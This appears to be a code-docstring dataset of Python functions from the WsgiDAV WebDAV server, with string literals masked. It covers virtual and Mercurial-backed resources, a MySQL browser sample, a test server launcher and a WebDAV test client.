{"signature": "def get_property_value(self, name):", "body": "<EOL>if name == \"<STR_LIT>\":<EOL><INDENT>return self.data[\"<STR_LIT:key>\"]<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>return self.data[\"<STR_LIT:title>\"]<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>return self.data[\"<STR_LIT:status>\"]<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>return self.data[\"<STR_LIT>\"]<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>return \"<STR_LIT:U+002C>\".join(self.data[\"<STR_LIT>\"])<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>return self.data[\"<STR_LIT:description>\"]<EOL><DEDENT>return super(VirtualResource, self).get_property_value(name)<EOL>", "docstring": "Return the value of a property.\n\n        See get_property_value()", "id": "f8621:c3:m9"}
{"signature": "def set_property_value(self, name, value, dry_run=False):", "body": "if value is None:<EOL><INDENT>raise DAVError(HTTP_FORBIDDEN)<EOL><DEDENT>if name == \"<STR_LIT>\":<EOL><INDENT>self.data[\"<STR_LIT>\"] = value.text.split(\"<STR_LIT:U+002C>\")<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>self.data[\"<STR_LIT:description>\"] = value.text<EOL><DEDENT>elif name in VirtualResource._supportedProps:<EOL><INDENT>raise DAVError(<EOL>HTTP_FORBIDDEN, err_condition=PRECONDITION_CODE_ProtectedProperty<EOL>)<EOL><DEDENT>else:<EOL><INDENT>raise DAVError(HTTP_FORBIDDEN)<EOL><DEDENT>return<EOL>", "docstring": "Set or remove property value.\n\n        See DAVResource.set_property_value()", "id": "f8621:c3:m10"}
{"signature": "def get_resource_inst(self, path, environ):", "body": "_logger.info(\"<STR_LIT>\" % path)<EOL>self._count_get_resource_inst += <NUM_LIT:1><EOL>root = RootCollection(environ)<EOL>return root.resolve(\"<STR_LIT>\", path)<EOL>", "docstring": "Return _VirtualResource object for path.\n\n        path is expected to be\n            categoryType/category/name/artifact\n        for example:\n            'by_tag/cool/My doc 2/info.html'\n\n        See DAVProvider.get_resource_inst()", "id": "f8621:c7:m1"}
{"signature": "def prevent_locking(self):", "body": "return True<EOL>", "docstring": "Return True, since we don't want to lock virtual collections.", "id": "f8622:c0:m3"}
{"signature": "def _check_write_access(self):", "body": "if self.rev is not None:<EOL><INDENT>raise DAVError(HTTP_FORBIDDEN)<EOL><DEDENT>", "docstring": "Raise HTTP_FORBIDDEN, if resource is unwritable.", "id": "f8623:c0:m3"}
{"signature": "def get_property_names(self, is_allprop):", "body": "<EOL>propNameList = super(HgResource, self).get_property_names(is_allprop)<EOL>if self.fctx:<EOL><INDENT>propNameList.extend(<EOL>[<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>]<EOL>)<EOL><DEDENT>return propNameList<EOL>", "docstring": "Return list of supported property names in Clark Notation.\n\n        See DAVResource.get_property_names()", "id": "f8623:c0:m14"}
{"signature": "def get_property_value(self, name):", "body": "<EOL>if name == \"<STR_LIT>\":<EOL><INDENT>return self.fctx.branch()<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>return compat.to_native(self.fctx.date()[<NUM_LIT:0>])<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>return self.fctx.description()<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>return compat.to_native(self.fctx.filerev())<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>return compat.to_native(self.fctx.rev())<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>return compat.to_native(self.fctx.user())<EOL><DEDENT>return super(HgResource, self).get_property_value(name)<EOL>", "docstring": "Return the value of a property.\n\n        See get_property_value()", "id": "f8623:c0:m15"}
{"signature": "def set_property_value(self, name, value, dry_run=False):", "body": "raise DAVError(HTTP_FORBIDDEN)<EOL>", "docstring": "Set or remove property value.\n\n        See DAVResource.set_property_value()", "id": "f8623:c0:m16"}
{"signature": "def prevent_locking(self):", "body": "if self.rev is not None:<EOL><INDENT>return True<EOL><DEDENT>return False<EOL>", "docstring": "Return True, to prevent locking.\n\n        See prevent_locking()", "id": "f8623:c0:m17"}
{"signature": "def create_empty_resource(self, name):", "body": "assert self.is_collection<EOL>self._check_write_access()<EOL>filepath = self._getFilePath(name)<EOL>f = open(filepath, \"<STR_LIT:w>\")<EOL>f.close()<EOL>commands.add(self.provider.ui, self.provider.repo, filepath)<EOL>return HgResource(<EOL>self.path.rstrip(\"<STR_LIT:/>\") + \"<STR_LIT:/>\" + name,<EOL>False,<EOL>self.environ,<EOL>self.rev,<EOL>self.localHgPath + \"<STR_LIT:/>\" + name,<EOL>)<EOL>", "docstring": "Create and return an empty (length-0) resource as member of self.\n\n        See DAVResource.create_empty_resource()", "id": "f8623:c0:m18"}
{"signature": "def create_collection(self, name):", "body": "assert self.is_collection<EOL>self._check_write_access()<EOL>collpath = self._getFilePath(name)<EOL>os.mkdir(collpath)<EOL>filepath = self._getFilePath(name, \"<STR_LIT>\")<EOL>f = open(filepath, \"<STR_LIT:w>\")<EOL>f.write(\"<STR_LIT>\")<EOL>f.close()<EOL>commands.add(self.provider.ui, self.provider.repo, filepath)<EOL>", "docstring": "Create a new collection as member of self.\n\n        A dummy member is created, because Mercurial doesn't handle folders.", "id": "f8623:c0:m19"}
{"signature": "def get_content(self):", "body": "assert not self.is_collection<EOL>d = self.fctx.data()<EOL>return compat.StringIO(d)<EOL>", "docstring": "Open content as a stream for reading.\n\n        See DAVResource.get_content()", "id": "f8623:c0:m20"}
{"signature": "def begin_write(self, content_type=None):", "body": "assert not self.is_collection<EOL>self._check_write_access()<EOL>mode = \"<STR_LIT:wb>\"<EOL>return open(self.absFilePath, mode, BUFFER_SIZE)<EOL>", "docstring": "Open content as a stream for writing.\n\n        See DAVResource.begin_write()", "id": "f8623:c0:m21"}
{"signature": "def end_write(self, with_errors):", "body": "if not with_errors:<EOL><INDENT>commands.add(self.provider.ui, self.provider.repo, self.localHgPath)<EOL><DEDENT>", "docstring": "Called when PUT has finished writing.\n\n        See DAVResource.end_write()", "id": "f8623:c0:m22"}
{"signature": "def support_recursive_delete(self):", "body": "return True<EOL>", "docstring": "Return True, if delete() may be called on non-empty collections\n        (see comments there).", "id": "f8623:c0:m23"}
{"signature": "def delete(self):", "body": "self._check_write_access()<EOL>filepath = self._getFilePath()<EOL>commands.remove(self.provider.ui, self.provider.repo, filepath, force=True)<EOL>", "docstring": "Remove this resource (recursive).", "id": "f8623:c0:m24"}
{"signature": "def handle_copy(self, dest_path, depth_infinity):", "body": "destType, destHgPath = util.pop_path(dest_path)<EOL>destHgPath = destHgPath.strip(\"<STR_LIT:/>\")<EOL>ui = self.provider.ui<EOL>repo = self.provider.repo<EOL>_logger.info(\"<STR_LIT>\" % (self.localHgPath, destHgPath))<EOL>if self.rev is None and destType == \"<STR_LIT>\":<EOL><INDENT>commands.copy(ui, repo, self.localHgPath, destHgPath, force=True)<EOL><DEDENT>elif self.rev is None and destType == \"<STR_LIT>\":<EOL><INDENT>self._commit(\"<STR_LIT>\" % (self.path, dest_path))<EOL><DEDENT>else:<EOL><INDENT>raise DAVError(HTTP_FORBIDDEN)<EOL><DEDENT>return True<EOL>", "docstring": "Handle a COPY request natively.", "id": "f8623:c0:m25"}
{"signature": "def handle_move(self, dest_path):", "body": "destType, destHgPath = util.pop_path(dest_path)<EOL>destHgPath = destHgPath.strip(\"<STR_LIT:/>\")<EOL>ui = self.provider.ui<EOL>repo = self.provider.repo<EOL>_logger.info(\"<STR_LIT>\" % (self.localHgPath, destHgPath))<EOL>if self.rev is None and destType == \"<STR_LIT>\":<EOL><INDENT>commands.rename(ui, repo, self.localHgPath, destHgPath, force=True)<EOL><DEDENT>elif self.rev is None and destType == \"<STR_LIT>\":<EOL><INDENT>self._commit(\"<STR_LIT>\" % (self.path, dest_path))<EOL><DEDENT>else:<EOL><INDENT>raise DAVError(HTTP_FORBIDDEN)<EOL><DEDENT>return True<EOL>", "docstring": "Handle a MOVE request natively.", "id": "f8623:c0:m26"}
{"signature": "def _get_log(self, limit=None):", "body": "self.ui.pushbuffer()<EOL>commands.log(self.ui, self.repo, limit=limit, date=None, rev=None, user=None)<EOL>res = self.ui.popbuffer().strip()<EOL>logList = []<EOL>for logentry in res.split(\"<STR_LIT>\"):<EOL><INDENT>log = {}<EOL>logList.append(log)<EOL>for line in logentry.split(\"<STR_LIT:\\n>\"):<EOL><INDENT>k, v = line.split(\"<STR_LIT::>\", <NUM_LIT:1>)<EOL>assert k in (\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT:user>\", \"<STR_LIT:date>\", \"<STR_LIT>\")<EOL>log[k.strip()] = v.strip()<EOL><DEDENT>log[\"<STR_LIT>\"] = util.parse_time_string(log[\"<STR_LIT:date>\"])<EOL>local_id, unid = log[\"<STR_LIT>\"].split(\"<STR_LIT::>\")<EOL>log[\"<STR_LIT>\"] = int(local_id)<EOL>log[\"<STR_LIT>\"] = unid<EOL><DEDENT>return logList<EOL>", "docstring": "Read log entries into a list of dictionaries.", "id": "f8623:c1:m1"}
{"signature": "def _get_repo_info(self, environ, rev, reload=False):", "body": "caches = environ.setdefault(\"<STR_LIT>\", {})<EOL>if caches.get(compat.to_native(rev)) is not None:<EOL><INDENT>_logger.debug(\"<STR_LIT>\" % rev)<EOL>return caches[compat.to_native(rev)]<EOL><DEDENT>start_time = time.time()<EOL>self.ui.pushbuffer()<EOL>commands.manifest(self.ui, self.repo, rev)<EOL>res = self.ui.popbuffer()<EOL>files = []<EOL>dirinfos = {}<EOL>filedict = {}<EOL>for file in res.split(\"<STR_LIT:\\n>\"):<EOL><INDENT>if file.strip() == \"<STR_LIT>\":<EOL><INDENT>continue<EOL><DEDENT>file = file.replace(\"<STR_LIT:\\\\>\", \"<STR_LIT:/>\")<EOL>parents = file.split(\"<STR_LIT:/>\")<EOL>if len(parents) >= <NUM_LIT:1>:<EOL><INDENT>p1 = \"<STR_LIT>\"<EOL>for i in range(<NUM_LIT:0>, len(parents) - <NUM_LIT:1>):<EOL><INDENT>p2 = parents[i]<EOL>dir = dirinfos.setdefault(p1, ([], []))<EOL>if p2 not in dir[<NUM_LIT:0>]:<EOL><INDENT>dir[<NUM_LIT:0>].append(p2)<EOL><DEDENT>if p1 == \"<STR_LIT>\":<EOL><INDENT>p1 = p2<EOL><DEDENT>else:<EOL><INDENT>p1 = \"<STR_LIT>\" % (p1, p2)<EOL><DEDENT><DEDENT>dirinfos.setdefault(p1, ([], []))[<NUM_LIT:1>].append(parents[-<NUM_LIT:1>])<EOL><DEDENT>filedict[file] = True<EOL><DEDENT>files.sort()<EOL>cache = {\"<STR_LIT>\": files, \"<STR_LIT>\": dirinfos, \"<STR_LIT>\": filedict}<EOL>caches[compat.to_native(rev)] = cache<EOL>_logger.info(\"<STR_LIT>\" % (rev, time.time() - start_time))<EOL>return cache<EOL>", "docstring": "Return a dictionary containing all files under source control.\n\n        dirinfos:\n            Dictionary containing direct members for every collection.\n            {folderpath: (collectionlist, filelist), ...}\n        files:\n            Sorted list of all file paths in the manifest.\n        filedict:\n            Dictionary containing all files under source control.\n\n        ::\n\n            {'dirinfos': {'': (['wsgidav',\n                                'tools',\n                                'WsgiDAV.egg-info',\n                                'tests'],\n                               ['index.rst',\n                                'wsgidav MAKE_DAILY_BUILD.launch',\n                                'wsgidav run_server.py DEBUG.launch',\n                                'wsgidav-paste.conf',\n                                ...\n                                'setup.py']),\n                          'wsgidav': (['addons', 'samples', 'server', 'interfaces'],\n                                      ['__init__.pyc',\n                                       'dav_error.pyc',\n                                       'dav_provider.pyc',\n                                       ...\n                                       'wsgidav_app.py']),\n                           },\n             'files': ['.hgignore',\n                       'ADDONS.txt',\n                       'wsgidav/samples/mysql_dav_provider.py',\n                       ...\n                       ],\n             'filedict': {'.hgignore': True,\n                           'README.txt': True,\n                           'WsgiDAV.egg-info/PKG-INFO': True,\n                           }\n                           }", "id": "f8623:c1:m2"}
{"signature": "def get_resource_inst(self, path, environ):", "body": "self._count_get_resource_inst += <NUM_LIT:1><EOL>localHgPath = path.strip(\"<STR_LIT:/>\")<EOL>rev = None<EOL>cmd, rest = util.pop_path(path)<EOL>if cmd == \"<STR_LIT>\":<EOL><INDENT>return VirtualCollection(<EOL>path, environ, \"<STR_LIT:root>\", [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]<EOL>)<EOL><DEDENT>elif cmd == \"<STR_LIT>\":<EOL><INDENT>localHgPath = rest.strip(\"<STR_LIT:/>\")<EOL>rev = None<EOL><DEDENT>elif cmd == \"<STR_LIT>\":<EOL><INDENT>localHgPath = rest.strip(\"<STR_LIT:/>\")<EOL>rev = \"<STR_LIT>\"<EOL><DEDENT>elif cmd == \"<STR_LIT>\":<EOL><INDENT>if rest == \"<STR_LIT:/>\":<EOL><INDENT>loglist = self._get_log(limit=<NUM_LIT:10>)<EOL>members = [compat.to_native(l[\"<STR_LIT>\"]) for l in loglist]<EOL>return VirtualCollection(path, environ, \"<STR_LIT>\", members)<EOL><DEDENT>revid, rest = util.pop_path(rest)<EOL>try:<EOL><INDENT>int(revid)<EOL><DEDENT>except Exception:<EOL><INDENT>return None<EOL><DEDENT>rev = revid<EOL>localHgPath = rest.strip(\"<STR_LIT:/>\")<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>cache = self._get_repo_info(environ, rev)<EOL>if localHgPath in cache[\"<STR_LIT>\"]:<EOL><INDENT>return HgResource(path, False, environ, rev, localHgPath)<EOL><DEDENT>if localHgPath in cache[\"<STR_LIT>\"] or localHgPath == \"<STR_LIT>\":<EOL><INDENT>return HgResource(path, True, environ, rev, localHgPath)<EOL><DEDENT>return None<EOL>", "docstring": "Return HgResource object for path.\n\n        See DAVProvider.get_resource_inst()", "id": "f8623:c1:m3"}
{"signature": "def _init(self):", "body": "<EOL>self.provider._count_get_resource_inst_init += <NUM_LIT:1><EOL>tableName, primKey = self.provider._split_path(self.path)<EOL>display_type = \"<STR_LIT>\"<EOL>displayTypeComment = \"<STR_LIT>\"<EOL>contentType = \"<STR_LIT>\"<EOL>if tableName is None:<EOL><INDENT>display_type = \"<STR_LIT>\"<EOL><DEDENT>elif primKey is None:  <EOL><INDENT>display_type = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>contentType = \"<STR_LIT>\"<EOL>if primKey == \"<STR_LIT>\":<EOL><INDENT>display_type = \"<STR_LIT>\"<EOL>displayTypeComment = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>display_type = \"<STR_LIT>\"<EOL>displayTypeComment = \"<STR_LIT>\"<EOL><DEDENT><DEDENT>is_collection = primKey is None<EOL>self._cache = {<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": contentType,<EOL>\"<STR_LIT>\": time.time(),<EOL>\"<STR_LIT>\": self.name,<EOL>\"<STR_LIT>\": hashlib.md5().update(self.path).hexdigest(),<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": False,<EOL>\"<STR_LIT>\": {\"<STR_LIT:type>\": display_type, \"<STR_LIT>\": displayTypeComment},<EOL>}<EOL>if not is_collection:<EOL><INDENT>self._cache[\"<STR_LIT>\"] = time.time()<EOL><DEDENT>_logger.debug(\"<STR_LIT>\" % self.provider._count_initConnection)<EOL>", "docstring": "Read resource information into self._cache, for cached access.\n\n        See DAVResource._init()", "id": "f8624:c0:m1"}
{"signature": "def get_member_list(self):", "body": "members = []<EOL>conn = self.provider._init_connection()<EOL>try:<EOL><INDENT>tableName, primKey = self.provider._split_path(self.path)<EOL>if tableName is None:<EOL><INDENT>retlist = self.provider._list_tables(conn)<EOL>for name in retlist:<EOL><INDENT>members.append(<EOL>MySQLBrowserResource(<EOL>self.provider,<EOL>util.join_uri(self.path, name),<EOL>True,<EOL>self.environ,<EOL>)<EOL>)<EOL><DEDENT><DEDENT>elif primKey is None:<EOL><INDENT>pri_key = self.provider._find_primary_key(conn, tableName)<EOL>if pri_key is not None:<EOL><INDENT>retlist = self.provider._list_fields(conn, tableName, pri_key)<EOL>for name in retlist:<EOL><INDENT>members.append(<EOL>MySQLBrowserResource(<EOL>self.provider,<EOL>util.join_uri(self.path, name),<EOL>False,<EOL>self.environ,<EOL>)<EOL>)<EOL><DEDENT><DEDENT>members.insert(<EOL><NUM_LIT:0>,<EOL>MySQLBrowserResource(<EOL>self.provider,<EOL>util.join_uri(self.path, \"<STR_LIT>\"),<EOL>False,<EOL>self.environ,<EOL>),<EOL>)<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>conn.close()<EOL><DEDENT>return members<EOL>", "docstring": "Return list of (direct) collection member names (UTF-8 byte strings).\n\n        See DAVResource.get_member_list()", "id": "f8624:c0:m10"}
{"signature": "def get_content(self):", "body": "filestream = compat.StringIO()<EOL>tableName, primKey = self.provider._split_path(self.path)<EOL>if primKey is not None:<EOL><INDENT>conn = self.provider._init_connection()<EOL>listFields = self.provider._get_field_list(conn, tableName)<EOL>csvwriter = csv.DictWriter(filestream, listFields, extrasaction=\"<STR_LIT:ignore>\")<EOL>dictFields = {}<EOL>for field_name in listFields:<EOL><INDENT>dictFields[field_name] = field_name<EOL><DEDENT>csvwriter.writerow(dictFields)<EOL>if primKey == \"<STR_LIT>\":<EOL><INDENT>cursor = conn.cursor(MySQLdb.cursors.DictCursor)<EOL>cursor.execute(\"<STR_LIT>\" + self.provider._db + \"<STR_LIT:.>\" + tableName)<EOL>result_set = cursor.fetchall()<EOL>for row in result_set:<EOL><INDENT>csvwriter.writerow(row)<EOL><DEDENT>cursor.close()<EOL><DEDENT>else:<EOL><INDENT>row = self.provider._get_record_by_primary_key(conn, tableName, primKey)<EOL>if row is not None:<EOL><INDENT>csvwriter.writerow(row)<EOL><DEDENT><DEDENT>conn.close()<EOL><DEDENT>filestream.seek(<NUM_LIT:0>)<EOL>return filestream<EOL>", "docstring": "Open content as a stream for reading.\n\n        See DAVResource.get_content()", "id": "f8624:c0:m11"}
{"signature": "def get_property_names(self, is_allprop):", "body": "<EOL>propNames = super(MySQLBrowserResource, self).get_property_names(is_allprop)<EOL>tableName, primKey = self.provider._split_path(self.path)<EOL>if primKey is not None:<EOL><INDENT>conn = self.provider._init_connection()<EOL>fieldlist = self.provider._get_field_list(conn, tableName)<EOL>for fieldname in fieldlist:<EOL><INDENT>propNames.append(\"<STR_LIT>\" % (tableName, fieldname))<EOL><DEDENT>conn.close()<EOL><DEDENT>return propNames<EOL>", "docstring": "Return list of supported property names in Clark Notation.\n\n        Return supported live and dead properties. (See also DAVProvider.get_property_names().)\n\n        In addition, all table field names are returned as properties.", "id": "f8624:c0:m12"}
{"signature": "def get_property_value(self, name):", "body": "<EOL>tableName, primKey = self.provider._split_path(self.path)<EOL>if primKey is not None:<EOL><INDENT>ns, localName = util.split_namespace(name)<EOL>if ns == (tableName + \"<STR_LIT::>\"):<EOL><INDENT>conn = self.provider._init_connection()<EOL>fieldlist = self.provider._get_field_list(conn, tableName)<EOL>if localName in fieldlist:<EOL><INDENT>val = self.provider._get_field_by_primary_key(<EOL>conn, tableName, primKey, localName<EOL>)<EOL>conn.close()<EOL>return val<EOL><DEDENT>conn.close()<EOL><DEDENT><DEDENT>return super(MySQLBrowserResource, self).get_property_value(name)<EOL>", "docstring": "Return the value of a property.\n\n        The base implementation handles:\n\n        - ``{DAV:}lockdiscovery`` and ``{DAV:}supportedlock`` using the\n          associated lock manager.\n        - All other *live* properties (i.e. name starts with ``{DAV:}``) are\n          delegated to self.getLivePropertyValue()\n        - Finally, other properties are considered *dead*, and are handled  using\n          the associated property manager, if one is present.", "id": "f8624:c0:m13"}
{"signature": "def set_property_value(self, name, value, dry_run=False):", "body": "raise DAVError(<EOL>HTTP_FORBIDDEN, err_condition=PRECONDITION_CODE_ProtectedProperty<EOL>)<EOL>", "docstring": "Set or remove property value.\n\n        See DAVResource.set_property_value()", "id": "f8624:c0:m14"}
{"signature": "def _split_path(self, path):", "body": "if path.strip() in (None, \"<STR_LIT>\", \"<STR_LIT:/>\"):<EOL><INDENT>return (None, None)<EOL><DEDENT>tableName, primKey = util.save_split(path.strip(\"<STR_LIT:/>\"), \"<STR_LIT:/>\", <NUM_LIT:1>)<EOL>return (tableName, primKey)<EOL>", "docstring": "Return (tableName, primaryKey) tuple for a request path.", "id": "f8624:c1:m2"}
{"signature": "def get_resource_inst(self, path, environ):", "body": "<EOL>self._count_get_resource_inst += <NUM_LIT:1><EOL>if not self.exists(path, environ):<EOL><INDENT>return None<EOL><DEDENT>_tableName, primKey = self._split_path(path)<EOL>is_collection = primKey is None<EOL>return MySQLBrowserResource(self, path, is_collection, environ)<EOL>", "docstring": "Return info dictionary for path.\n\n        See get_resource_inst()", "id": "f8624:c1:m12"}
{"signature": "def run_wsgidav_server(with_auth, with_ssl, provider=None, **kwargs):", "body": "package_path = os.path.abspath(os.path.join(os.path.dirname(__file__), \"<STR_LIT:..>\"))<EOL>share_path = os.path.join(gettempdir(), \"<STR_LIT>\")<EOL>if not os.path.exists(share_path):<EOL><INDENT>os.mkdir(share_path)<EOL><DEDENT>if provider is None:<EOL><INDENT>provider = FilesystemProvider(share_path)<EOL><DEDENT>config = {<EOL>\"<STR_LIT:host>\": \"<STR_LIT:127.0.0.1>\",<EOL>\"<STR_LIT:port>\": <NUM_LIT>,<EOL>\"<STR_LIT>\": {\"<STR_LIT:/>\": provider},<EOL>\"<STR_LIT>\": {\"<STR_LIT>\": None},<EOL>\"<STR_LIT>\": {\"<STR_LIT>\": {\"<STR_LIT:*>\": True}},  <EOL>\"<STR_LIT>\": <NUM_LIT:1>,<EOL>\"<STR_LIT>\": [],<EOL>\"<STR_LIT>\": True,  <EOL>\"<STR_LIT>\": True,  <EOL>}<EOL>if with_auth:<EOL><INDENT>config[\"<STR_LIT>\"].update(<EOL>{\"<STR_LIT>\": True, \"<STR_LIT>\": False, \"<STR_LIT>\": False}<EOL>)<EOL>config[\"<STR_LIT>\"].update(<EOL>{<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT:*>\": {<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT:password>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": [],<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT:password>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": [],<EOL>},<EOL>}<EOL>}<EOL>}<EOL>)<EOL><DEDENT>if with_ssl:<EOL><INDENT>config.update(<EOL>{<EOL>\"<STR_LIT>\": os.path.join(<EOL>package_path, \"<STR_LIT>\"<EOL>),<EOL>\"<STR_LIT>\": os.path.join(<EOL>package_path, \"<STR_LIT>\"<EOL>),<EOL>\"<STR_LIT>\": None,<EOL>}<EOL>)<EOL><DEDENT>util.init_logging(config)<EOL>if kwargs.get(\"<STR_LIT>\"):<EOL><INDENT>config[\"<STR_LIT>\"] = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>app = WsgiDAVApp(config)<EOL>from wsgidav.server.server_cli import _run_cheroot<EOL>_run_cheroot(app, config, \"<STR_LIT>\")<EOL>", "docstring": "Start blocking WsgiDAV server (called as a separate process).", "id": "f8625:m1"}
{"signature": "def object_to_etree(parent, obj, namespace=\"<STR_LIT>\"):", "body": "<EOL>if type(obj) is int or type(obj) is float or type(obj) is str:<EOL><INDENT>obj = str(obj)<EOL>if obj.startswith(\"<STR_LIT:{>\") is False:<EOL><INDENT>ElementTree.SubElement(parent, \"<STR_LIT>\" % (namespace, obj))<EOL><DEDENT>else:<EOL><INDENT>ElementTree.SubElement(parent, obj)<EOL><DEDENT><DEDENT>elif type(obj) is dict:<EOL><INDENT>for key, value in obj.items():<EOL><INDENT>if key.startswith(\"<STR_LIT:{>\") is False:<EOL><INDENT>key_etree = ElementTree.SubElement(parent, \"<STR_LIT>\" % (namespace, key))<EOL>object_to_etree(key_etree, value, namespace=namespace)<EOL><DEDENT>else:<EOL><INDENT>key_etree = ElementTree.SubElement(parent, key)<EOL>object_to_etree(key_etree, value, namespace=namespace)<EOL><DEDENT><DEDENT><DEDENT>elif type(obj) is list:<EOL><INDENT>for item in obj:<EOL><INDENT>object_to_etree(parent, item, namespace=namespace)<EOL><DEDENT><DEDENT>elif type(obj) is tuple and len(obj) == <NUM_LIT:2>:<EOL><INDENT>ElementTree.SubElement(parent, obj[<NUM_LIT:0>]).text = str(obj[<NUM_LIT:1>])<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\" % type(obj))<EOL><DEDENT>", "docstring": "Takes in a python object, traverses it, and adds it to an existing etree object.", "id": "f8632:m0"}
{"signature": "def __init__(self, url=\"<STR_LIT>\", logger=None):", "body": "self._url = urlparse(url)<EOL>self.logger = logger<EOL>self.logger_prefix = \"<STR_LIT>\" if logger is True else str(logger)<EOL>self.headers = {<EOL>\"<STR_LIT>\": self._url[<NUM_LIT:1>],<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>}<EOL>self.response = None<EOL>self.clear_basic_auth()<EOL>", "docstring": "Initialization", "id": "f8632:c1:m0"}
{"signature": "def _request(self, method, path=\"<STR_LIT>\", body=None, headers=None):", "body": "self.response = None<EOL>assert body is None or is_bytes(body)<EOL>self.log(\"<STR_LIT>\".format(method, path))<EOL>if headers is None:<EOL><INDENT>headers = copy.copy(self.headers)<EOL><DEDENT>else:<EOL><INDENT>new_headers = copy.copy(self.headers)<EOL>new_headers.update(headers)<EOL>headers = new_headers<EOL><DEDENT>self.request = {\"<STR_LIT>\": method, \"<STR_LIT:path>\": path, \"<STR_LIT>\": headers}<EOL>url = self._url.geturl()<EOL>url = urljoin(url, path)<EOL>res = requests.request(method, url, data=body, headers=headers)<EOL>self.response = res<EOL>assert is_bytes(self.response.content)<EOL>try:<EOL><INDENT>self._get_response_tree()<EOL><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Internal request method", "id": "f8632:c1:m2"}
{"signature": "def _get_response_tree(self):", "body": "self.response.tree = ElementTree.fromstring(self.response.content)<EOL>return self.response.tree<EOL>", "docstring": "Parse the response body into an elementree object", "id": "f8632:c1:m3"}
{"signature": "def _tree_to_binary_body(self, tree):", "body": "<EOL>body = BytesIO()<EOL>tree.write(body)<EOL>body = body.getvalue()  <EOL>body = b'<STR_LIT>' + body<EOL>assert is_bytes(body)<EOL>return body<EOL>", "docstring": "Return tree content as xml bytestring.", "id": "f8632:c1:m4"}
{"signature": "def set_basic_auth(self, user_name, password):", "body": "u_p = (\"<STR_LIT>\" % (user_name, password)).encode(\"<STR_LIT:utf8>\")<EOL>b64 = base64_encodebytes(u_p)<EOL>if not type(b64) is str:<EOL><INDENT>b64 = b64.decode(\"<STR_LIT:utf8>\")<EOL><DEDENT>auth = \"<STR_LIT>\" % b64.strip()<EOL>self._username = user_name<EOL>self._password = password<EOL>self.headers[\"<STR_LIT>\"] = auth<EOL>", "docstring": "Set basic authentication", "id": "f8632:c1:m5"}
{"signature": "def clear_basic_auth(self):", "body": "self._username = None<EOL>self._password = None<EOL>self.headers.pop(\"<STR_LIT>\", None)<EOL>", "docstring": "Reset basic authentication", "id": "f8632:c1:m6"}
{"signature": "def get(self, path, headers=None):", "body": "self._request(\"<STR_LIT:GET>\", path, headers=headers)<EOL>return self.response.content<EOL>", "docstring": "Simple get request", "id": "f8632:c1:m7"}
{"signature": "def head(self, path, headers=None):", "body": "self._request(\"<STR_LIT>\", path, headers=headers)<EOL>", "docstring": "Basic HEAD request", "id": "f8632:c1:m8"}
{"signature": "def put(self, path, body=None, f=None, headers=None):", "body": "assert body is None or is_bytes(body)<EOL>if f is not None:<EOL><INDENT>body = f.read()<EOL><DEDENT>self._request(\"<STR_LIT>\", path, body=body, headers=headers)<EOL>", "docstring": "Put resource with body", "id": "f8632:c1:m9"}
{"signature": "def post(self, path, body=None, headers=None):", "body": "assert body is None or is_bytes(body)<EOL>self._request(\"<STR_LIT:POST>\", path, body=body, headers=headers)<EOL>", "docstring": "POST resource with body", "id": "f8632:c1:m10"}
{"signature": "def mkcol(self, path, headers=None):", "body": "self._request(\"<STR_LIT>\", path=path, headers=headers)<EOL>", "docstring": "Make DAV collection", "id": "f8632:c1:m11"}
{"signature": "def delete(self, path, headers=None):", "body": "self._request(\"<STR_LIT>\", path=path, headers=headers)<EOL>", "docstring": "Delete DAV resource", "id": "f8632:c1:m12"}
{"signature": "def copy(<EOL>self,<EOL>source,<EOL>destination,<EOL>body=None,<EOL>depth=\"<STR_LIT>\",<EOL>overwrite=True,<EOL>headers=None,<EOL>):", "body": "<EOL>assert body is None or is_bytes(body)<EOL>if headers is None:<EOL><INDENT>headers = {\"<STR_LIT>\": destination}<EOL><DEDENT>else:<EOL><INDENT>headers[\"<STR_LIT>\"] = self._url.geturl() + destination<EOL><DEDENT>if overwrite is False:<EOL><INDENT>headers[\"<STR_LIT>\"] = \"<STR_LIT:F>\"<EOL><DEDENT>headers[\"<STR_LIT>\"] = depth<EOL>self._request(\"<STR_LIT>\", source, body=body, headers=headers)<EOL>", "docstring": "Copy DAV resource", "id": "f8632:c1:m13"}
